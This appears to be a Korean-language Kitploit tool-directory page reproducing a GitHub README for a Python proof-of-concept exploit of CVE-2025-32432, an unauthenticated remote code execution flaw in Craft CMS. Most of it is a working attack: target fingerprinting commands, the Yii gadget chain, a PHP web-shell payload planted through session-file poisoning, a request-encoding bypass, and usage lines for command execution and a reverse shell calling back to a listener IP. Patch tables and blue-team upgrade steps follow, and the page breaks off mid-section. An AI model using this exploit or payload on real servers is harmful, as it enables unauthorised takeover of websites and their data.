Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432 — CVE-2025-32432를 악용하는 Python PoC로, Yii DI 가젯 주입을 통한 Craft CMS의 인증되지 않은 RCE이며, assetId 스캐닝, 리버스 셸, 그리고 완화 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/si13nttt/cve-2025-32432
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingIncident ResponseRemote Access ToolPayload Development
GitHubsi13nttt/cve-2025-32432

CVE-2025-32432

CVE-2025-32432를 악용하는 Python PoC로, Yii DI 가젯 주입을 통한 Craft CMS의 인증되지 않은 RCE이며, assetId 스캐닝, 리버스 셸, 그리고 완화 지침을 포함합니다.

19일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2025-32432 — Craft CMS <= 5.6.16 인증되지 않은 RCE

심각도: 치명적 (CVSS 10.0) 인증 필요: 없음 영향 받는 버전: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 패치된 버전: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


식별 (대상이 취약한지 확인하는 방법)

익스플로잇하기 전에 대상이 취약한 버전의 Craft CMS를 실행 중인지 확인하십시오.

1단계 — Craft CMS 버전 핑거프린팅

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

2단계 — 취약한 엔드포인트 탐색 (익명 접근 확인)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'
  • HTTP 400 = 엔드포인트 존재 (Craft 실행 중), CSRF 누락
  • HTTP 404 = Craft가 아니거나 잘못된 경로
  • HTTP 500 = 가젯 발동 (assetId 유효, 엔드포인트 접근 가능)

3단계 — assetId 스캔으로 확인

python3 exploit.py -u http://target/cms -c "id"

출력에 uid=가 포함되면 대상이 취약한 것으로 확인되며 RCE가 달성된 것입니다.


근본 원인

AssetsController::actionGenerateTransform()은 allowAnonymous로 선언되어 있어 인증 없이 접근할 수 있습니다. 이 메서드는 사용자가 제어하는 handle 매개변수를 Yii::createObject()에 직접 전달합니다:

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Yii의 DI 컨테이너는 허용 목록 없이 두 개의 특수 배열 키를 처리합니다:

키동작
__class선언된 타입 대신 이 클래스를 인스턴스화
__construct()이 값들을 생성자 인수로 전달

가젯 체인:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

세션 파일 포이즈닝이 루프를 완성합니다: PHP는 GET 매개변수를 /tmp/sess_<CraftSessionId>에 그대로 저장합니다. 여기에 <?=shell_exec($_GET['cmd']);exit;?>를 심으면 RCE가 가능합니다.


기존 공개 PoC가 실패하는 이유

1. URL 인코딩이 PHP 페이로드를 파괴함

근본 문제: Python requests는 전송 전에 <, >, ?, =를 인코딩합니다. PHP의 세션 핸들러는 퍼센트 인코딩된 바이트를 저장하며, 이는 실행 가능한 PHP가 아닙니다.

인코딩된 페이로드 (고장 — requests가 실제로 전송하는 내용)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

인코딩되지 않은 페이로드 (수정 — 몽키 패치 후 전송하는 내용)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

수정: HTTPConnectionPool._make_request — TCP 직전의 마지막 지점 — 을 몽키 패치하고 거기서 urllib.parse.unquote()를 호출합니다:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. 잘못된 세션 쿠키 이름

표준: PHP의 기본 세션 쿠키는 PHPSESSID입니다. Craft CMS는 애플리케이션 설정에서 이를 재정의합니다:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

즉, 디스크의 세션 파일은 /tmp/sess_<PHPSESSID>가 아니라 /tmp/sess_<CraftSessionId>입니다.

쿠키 비교

속성PHP 기본값Craft CMS
쿠키 이름PHPSESSIDCraftSessionId
세션 파일/tmp/sess_abc123/tmp/sess_abc123
읽는 방법session.cookies.get("PHPSESSID")session.cookies.get("CraftSessionId")
잘못된 경우 발생하는 일None 반환itemFile 경로가 존재하지 않는 파일을 가리킴
결과익스플로잇이 조용히 실패오류 없음 — require()가 그냥 실패
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

올바른 쿠키 이름은 Craft 페이지를 방문한 후 브라우저 DevTools를 검사하거나 Set-Cookie 응답 헤더를 확인하여 검증할 수 있습니다:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. 트리거 요청에 CSRF 토큰 누락

Craft는 모든 비익명 POST 액션에서 CSRF 토큰을 검증합니다. 토큰을 생략하면 400 Bad Request가 발생합니다.

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

비교 표

문제로그 포이즈닝 PoC세션 (잘못된 쿠키)세션 (CSRF 없음)이 PoC
URL 인코딩N/A (User-Agent)고장고장수정됨 (몽키 패치)
쿠키 이름N/A고장 PHPSESSID고장 PHPSESSID수정됨 CraftSessionId
트리거 시 CSRFOKOK고장수정됨
오래된 로그 exit;고장N/AN/AN/A
/cms 접두사에서 작동고장고장고장수정됨

사용법

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

완화 조치

조치세부 사항
Craft CMS 업그레이드3.9.15 / 4.14.15 / 5.6.17은 handle이 ImageTransformerInterface를 구현하는지 검증
Yii2 업그레이드2.0.50은 Component::__set에서 __class 주입을 차단
WAF 규칙/actions/assets/generate-transform으로 가는 요청 본문에서 __class 또는 __construct() 차단

수정 / 완화 (블루팀 운영 가이드)

패치 표

브랜치취약패치됨
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

2단계 — 취약한 코드 찾기

cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php

actionGenerateTransform() 메서드는 allowAnonymous로 표시되어 있습니다 — 즉 인증 전에 실행됩니다. handle 매개변수는 클래스 허용 목록 없이 Yii::createObject()에 직접 전달되어 yii\rbac\PhpManager 가젯 체인을 가능하게 합니다.


3단계 — 수정 적용 (한 가지 경로 선택)

경로 A — 패치된 버전으로 업그레이드 (5.6.17)

# 1. Verify the package integrity
cd /opt/vendor-packages
sha256sum -c craftcms-cms-5.6.17.tar.gz.sha256

# 2. Inspect the diff against current install
tar xzf /opt/vendor-packages/craftcms-cms-5.6.17.tar.gz -C /tmp
diff -u vendor/craftcms/cms/src/controllers/AssetsController.php \
         /tmp/craftcms-cms-5.6.17/src/controllers/AssetsController.php

# 3. Backup current version (rollback point)
cd /var/www/craftapp
cp -a vendor/craftcms/cms ~/cms-5.6.16.rollback

# 4. Swap in the patched version
rm -rf vendor/craftcms/cms
cp -a /tmp/craftcms-cms-5.6.17 vendor/craftcms/cms

# 5. Run migrations and reload
php craft up --interactive=0
sudo /opt/blue/bin/restart-app

경로 B — 인플레이스 코드 패치 (업그레이드가 불가능한 경우)

도구 다운로드